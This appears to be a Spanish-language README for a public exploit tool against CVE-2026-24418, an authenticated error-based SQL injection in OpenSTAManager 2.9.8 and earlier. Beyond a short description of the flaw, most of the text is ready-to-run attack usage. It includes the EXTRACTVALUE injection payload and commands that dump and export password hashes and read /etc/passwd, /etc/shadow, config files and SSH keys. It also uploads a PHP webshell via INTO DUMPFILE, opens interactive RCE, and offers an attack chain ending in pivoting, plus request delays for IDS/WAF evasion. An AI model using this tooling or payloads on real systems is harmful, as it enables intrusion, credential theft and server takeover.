
OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de inyección SQL basada en errores en el controlador de operaciones masivas para el módulo Scadenzario (Calendario de Pagos).
OpenSTAManager <= 2.9.8 — Inyección SQL basada en errores en el módulo de operaciones masivas de Scadenzario
| Campo | Detalles |
|---|---|
| CVE ID | CVE-2026-24418 |
| Gravedad | ALTA (8.8) |
| CWE | CWE-89: Inyección SQL |
| Versiones afectadas | OpenSTAManager <= 2.9.8 |
| Parámetro vulnerable | id_records[] (array POST) |
| Endpoint vulnerable | /actions.php?id_module=18 |
| Tipo de ataque | Inyección SQL basada en errores (EXTRACTVALUE) |
| Autenticación | Requerida (cualquier cuenta de usuario válida) |
OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de Inyección SQL basada en errores en el manejador de operaciones masivas del módulo Scadenzario (Programa de Pagos). La aplicación no valida que los elementos del array id_records[] sean enteros antes de usarlos en una cláusula IN() de SQL, lo que permite a atacantes autenticados inyectar comandos SQL arbitrarios y extraer datos sensibles a través de mensajes de error XPATH.
/actions.php recibe id_records[] vía POSTarray_clean() solo elimina valores vacíos, NO valida tipos de datos/modules/scadenzario/bulk.php pasa valores no sanitizados directamente a una cláusula IN() de SQLgit clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all
# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Output files:
# ./loot/users.json - Full user data
# ./loot/users.csv - CSV format
# ./loot/hashes_hashcat.txt - Hashcat format (mode 3200)
# ./loot/hashes_john.txt - John format (user:hash)
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE will auto-upload webshell if none exists
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Generated files:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Target:
-t, --target URL base del objetivo
Authentication:
-u, --user Nombre de usuario para inicio de sesión
-p, --password Contraseña para inicio de sesión
-c, --cookie Valor existente de PHPSESSID
Enumeration:
-D, --database Nombre de la base de datos objetivo
-T, --table Nombre de la tabla objetivo
-C, --columns-list Columnas a volcar (separadas por comas)
--limit Límite de filas para volcados
Actions:
--info Información del servidor de base de datos
--users Volcar credenciales de zz_users
--dbs Enumerar bases de datos
--tables Listar tablas
--columns Listar columnas (requiere -T)
--dump Volcar datos (requiere -T y -C)
--sql QUERY Consulta SQL personalizada
--all Ejecutar --info + --privs + --users
--privs Verificar privilegios MySQL
File Operations:
--file-read PATH Leer archivo mediante LOAD_FILE()
--file-read-hex PATH Leer archivo mediante codificación HEX
Remote Code Execution:
--webshell Subir webshell PHP
--webroot PATH Ruta de webroot para subida de shell
--rce Ejecución interactiva de comandos
Output:
-o, --output DIR Guardar resultados en directorio
Network:
-m, --module-id ID del módulo (por defecto: 18)
--proxy URL del proxy HTTP
-k, --no-ssl-verify Deshabilitar verificación SSL
--delay Retardo entre peticiones en segundos
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
La función EXTRACTVALUE() de MySQL devuelve un máximo de ~32 caracteres mediante errores XPATH. La herramienta divide automáticamente los resultados largos usando SUBSTRING():
SUBSTRING((<query>), 1, 31) -- Chunk 1
SUBSTRING((<query>), 32, 31) -- Chunk 2
...
Nota técnica sobre el contexto basado en errores: Si bien
--webshelly--rcese incluyen para máxima cobertura, MySQL prohíbe estrictamente el uso deINTO DUMPFILEdentro de una subconsulta o una cláusulaIN()(que es exactamente donde se encuentra el punto de inyección de este CVE).Por lo tanto, escribir archivos directamente mediante esta inyección específica basada en errores generalmente fallará con un error de sintaxis a menos que:
- El entorno objetivo permita Consultas Apiladas (muy raro en configuraciones modernas de PHP/PDO).
- Consigas pivotar el payload hacia una inyección basada en UNION.
Si confirmas el privilegio
FILEmediante--privs, tu mejor opción es usar--file-ready--file-read-hex, ya queLOAD_FILE()funciona perfectamente dentro de subconsultas basadas en errores.
Cuando el privilegio FILE está disponible y las restricciones lo permiten:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
1. --privs → Check FILE privilege
2. --users → Dump credentials, export hashes
3. --file-read → Read config.inc.php for DB creds
4. --file-read → Read /etc/passwd for usernames
5. --webshell → Upload PHP webshell
6. --rce → Interactive shell → pivot
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtén la autorización adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido.
| Característica | Descripción |
|---|
--info | Huella del servidor de base de datos (versión, usuario, hostname, SO, rutas) |
--privs | Enumeración de privilegios MySQL (FILE, SUPER, PROCESS) |
--users | Volcado completo de credenciales de zz_users con exportación automática de hashes |
--dbs | Enumerar todas las bases de datos accesibles |
--tables | Listar tablas con conteo de filas |
--columns | Listar columnas con tipos e información de nulabilidad |
--dump | Exfiltración de datos de cualquier tabla/columna |
--sql | Ejecución de consultas SQL personalizadas |
--file-read | Leer archivos del servidor mediante LOAD_FILE() (/etc/passwd, archivos de configuración, claves SSH) |
--file-read-hex | Lectura de archivos codificados en HEX para evitar filtros |
--webshell | Subir webshell PHP mediante INTO DUMPFILE |
--rce | Ejecución interactiva de comandos a través de webshell subida |
-o / --output | Guardar todos los resultados en formatos JSON, CSV y hashcat/john |
--proxy | Soporte de proxy HTTP (Burp Suite) |
--delay | Limitación de peticiones para evasión de IDS/WAF |